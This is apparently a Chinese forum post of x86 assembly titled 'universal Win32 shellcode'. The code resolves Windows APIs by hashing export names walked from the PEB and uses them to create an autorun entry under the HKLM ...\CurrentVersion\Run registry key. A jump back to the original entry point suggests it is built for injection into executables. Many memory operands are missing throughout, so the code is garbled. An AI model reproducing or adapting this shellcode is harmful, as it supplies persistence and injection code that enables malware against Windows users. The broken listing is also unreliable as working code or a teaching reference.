通用WIN32平台的shellcode
LoadLibraryExA_Digestequ0xc0d83287
LoadLibraryA_Digest equ0x0C917432
RegCreateKeyA_Digest equ 0x2B367128
RegSetValueExA_Digestequ 0xD8C0FEAA
RegCloseKey_Digest equ 0x0E511783
FreeLibrary_Digest equ0x30BA7C8C
use32
shellcode_start:
push ebp ;// 保存栈帧
mov ebp, esp
sub esp,40;//40*3->dword
;// 在栈中构造UNICODE字符串 KERNEL32.DLL[K\0E\0 R\0N\0 E\0L\0 3\02\0 .\0D\0 L\0L\0 \0\0\0\0
push 00000000h ;//0000
push 004C004Ch ;//0L0L
push 0044002Eh ;//0D0.
push 00320033h ;//0203
push 004c0045h ;//0L0E ;//just push unicode string is ok!
push 004E0052h ;//0N0R
push 0045004Bh ;//0E0K
push esp ;//push kernel32.dll
call get_module_base ;//get kernel32 base
add esp, 7*4 ;//back heapstack
test eax, eax ;zf=1 then jmp
jz ._shellcode_return
;//
mov dword ,eax
push LoadLibraryA_Digest
push dword
call get_proc_address_by_digest;//get loadlibraryA address
test eax, eax
jz ._shellcode_return
; push eax;this is loadlibrary func address push stack
mov dword ,eax
push 0h
push '.DLL'
push 'pi32'
push 'ADva'
push esp
call dword ;// LoadLibraryA
add esp, 3*4
test eax, eax
jz ._shellcode_return
; push eax ;
mov dword ,eax
;//getfuncaddress
push RegCreateKeyA_Digest ;//
push dword ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp
mov dword,eax
push RegSetValueExA_Digest ;//
push dword ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp
mov dword,eax
push RegCloseKey_Digest ;//
push dword ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp
mov dword,eax
mov eax,
; HKEY_LOCAL_MACHINE
push 'n'
push 'n\Ru'
push 'rsio'
push 'ntVe'
push 'urre'
push 'ws\C'
push 'indo'
push 'ft\W'
push 'roso'
push '\Mic'
push 'ware'
push 'Soft'
mov dword,esp
push 'x'
mov dword,esp
lea ebx,
push ebx
push dword
push 80000002h
call eax
mov eax, ;
push 1
push dword
push 1
push 0
push dword
push dword
call eax
add esp,13*4
;//this is cod
push FreeLibrary_Digest
push dword
call get_proc_address_by_digest
test eax, eax
jz ._shellcode_return
push dword ;//free user32.dll imagememory
call eax ;//call freefunc
._shellcode_return:
mov esp, ebp
pop ebp ;// 恢复栈帧
ret
jmp jmp_to_oep
;/************************************************************************/
;/* Get base address of module
;* tishion
;* 2013-05-26 13:45:20
;* IN:
;* ebp+8 = moudule name null-terminate string
;*
;* OUT:
;* eax = ntdll.base
;* #define _Wcsnicmp_Digest 0x548b2e5f
;/************************************************************************/
get_module_base:
push ebp
mov ebp, esp
call get_ntdll_base
test eax, eax
jz ._find_modulebase_done
push 548b2e5fh ;// hash of _wcsnicmp
push eax
call get_proc_address_by_digest
test eax, eax ;// _wcsnicmp
jz ._find_modulebase_done
push eax ;// _wcsnicmp
mov eax, 30h
mov eax, ;// eax = ppeb
test eax, eax
jz ._find_modulebase_done
mov eax, ;// eax = pLdr pLdr:
test eax, eax
jz ._find_modulebase_done
mov esi,
jmp ._compare_moudule_name
._find_modulebase_loop:
mov esi, ;// esi = pLdr->InInitializationOrderModuleList
._compare_moudule_name:
test esi, esi
jz ._find_modulebase_done
xor edi, edi
mov di, word ;// length
push edi
push dword ;// esi = pLdrDataTableEntry.DllBaseName.Buffer
push dword
mov edi,
call edi
test eax, eax
jnz ._find_modulebase_loop
mov eax, ;// eax = pLdrDataTableEntry.DllBase
;//mov ecx,
._find_modulebase_done:
mov esp, ebp
pop ebp
ret 4
;/************************************************************************/
;/* Get base address of ntdll.dll module
;* tishion
;* 2013-05-26 13:45:20
;*
;* OUT:
;* eax = ntdll.base
;/************************************************************************/
get_ntdll_base:
mov eax, 30h
mov eax, ;// eax = ppeb
test eax, eax
jz ._find_ntdllbase_done
mov eax, ;// eax = pLdr pLdr:
test eax, eax
jz ._find_ntdllbase_done
mov eax, ;// eax = pLdr->InInitializationOrderModuleList
test eax, eax
jz ._find_ntdllbase_done
mov eax, ;// eax = pLdrDataTableEntry.DllBase
._find_ntdllbase_done:
ret
;/************************************************************************/
;/* Get function name digest
;* tishion
;* 2013-05-26 13:45:20
;*
;* IN:
;* esi = function name
;* OUT:
;* edx = digest
;/************************************************************************/
get_ansi_string_digest:
push eax
xor edx, edx
._next_char:
xor eax, eax
lodsb
test eax, eax
jz ._done
ror edx, 7
add edx, eax
jmp ._next_char
._done:
pop eax
ret
;/************************************************************************/
;/* Get function address by searching export table
;* tishion
;* 2013-05-26 13:50:13
;*
;* IN:
;* = module base
;* = function name digest
;* OUT:
;* eax function address (null if failed)
;/************************************************************************/
get_proc_address_by_digest:
push ebp
mov ebp, esp
mov eax,
cmp word , 5a4dh ;// 'MZ'
jnz ._return_null
add eax, ;// eax = ImageNtHeader IMAGE_NT_HEADERS
cmp dword , 00004550h;// 'PE'
jnz ._return_null
push eax ;//
;//add eax, 18h ;// eax = ImageOptionalHeaderIMAGE_OPTIONAL_HEADER
;//add eax, 60h ;// eax = ImageExportDirectoryEntryIMAGE_DIRECTORY_ENTRY_EXPORT
;// 以上两行只是为了让程序流程清晰，为了减小代码长度，合并两条指令为一条，如下：
add eax, 78h
mov eax, ;// eax = RVA IMAGE_EXPORT_DIRECTORY
add eax, ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
mov ecx, eax
mov eax,
add eax, ;// eax = AddressOfNames
push eax ;// 导出名称地址表
mov eax,
add eax, ;// eax = AddressOfNameOrdinals
push eax ;// 导出序号表
mov eax,
add eax, ;// eax = AddressOfFunctions
push eax ;// 导出RAV地址表
push dword ;// ordinals base
push dword ;// NumberOfFunctions
push dword ;// NumberOfNames
mov ecx,
mov ebx, ecx
mov eax,
._find_func:
mov edi, ebx
sub edi, ecx
mov esi,
test esi, esi ;// esi是否NULL
loope ._find_func
inc ecx
add esi,
call get_ansi_string_digest
cmp edx,
loopne ._find_func ;// ecx 为目标函数在函数名数组中的index
xor edx, edx
mov eax,
mov dx,
;//add edx, ;//Ordinal base 处理， 蛋疼？找微软！
;//sub edx,
;// 以上两条同样是让程序流程清晰，实际运用中，如果不需要输出Ordinal，则不需要进行该操作
cmp edx,
jae ._return_null
mov eax, ;// eax = AddressOfFunctions
mov eax, ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址
add eax,
jmp ._function_found_done
._return_null:
xor eax, eax
._function_found_done:
mov esp, ebp
pop ebp
ret 8
jmp_to_oep:
jmp $
页:
[1]